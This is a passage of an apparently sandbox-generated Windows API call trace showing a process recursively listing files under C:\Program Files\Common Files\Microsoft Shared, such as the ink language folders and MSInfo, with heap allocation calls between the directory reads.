cFileName="..", cAlternateFileName="")) returned 1 [0072.804] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.804] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.805] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.805] GetProcessHeap () returned 0x550000 [0072.805] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0072.805] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0072.805] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0072.806] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0072.806] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0072.807] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0072.807] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0072.807] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0072.807] GetProcessHeap () returned 0x550000 [0072.808] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0072.808] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.808] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.808] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.808] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.809] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.809] GetProcessHeap () returned 0x550000 [0072.809] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0072.809] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0072.810] GetProcessHeap () returned 0x550000 [0072.810] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0072.810] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.810] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.810] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.811] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.811] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.811] GetProcessHeap () returned 0x550000 [0072.811] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0072.811] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0072.811] GetProcessHeap () returned 0x550000 [0072.811] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0072.811] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.812] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.812] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.812] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.812] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.813] GetProcessHeap () returned 0x550000 [0072.813] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0072.813] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0072.813] GetProcessHeap () returned 0x550000 [0072.813] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0072.813] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.813] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.814] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.814] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.814] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.814] GetProcessHeap () returned 0x550000 [0072.814] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0072.815] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0072.815] FindClose (in: hFindFile=0x26841b0 | out: hFindFile=0x26841b0) returned 1 [0072.815] GetProcessHeap () returned 0x550000 [0072.815] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26c70c0 | out: hHeap=0x550000) returned 1 [0072.817] FindNextFileW (in: hFindFile=0x2684130, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1 [0072.817] GetProcessHeap () returned 0x550000 [0072.817] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0072.817] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26841b0 [0072.817] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.817] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0072.818] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0 [0072.818] FindClose (in: hFindFile=0x26841b0 | out: hFindFile=0x26841b0) returned 1 [0072.818] GetProcessHeap () returned 0x550000 [0072.818] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0072.818] FindNextFileW (in: hFindFile=0x2684130, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0072.819] GetProcessHeap () returned 0x550000 [0072.819] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0072.819] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26841b0 [0072.819] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.819] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0072.819] GetProcessHeap () returned 0x550000 [0072.820] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26c70c0 [0072.820] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.820] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.820] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0072.820] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", 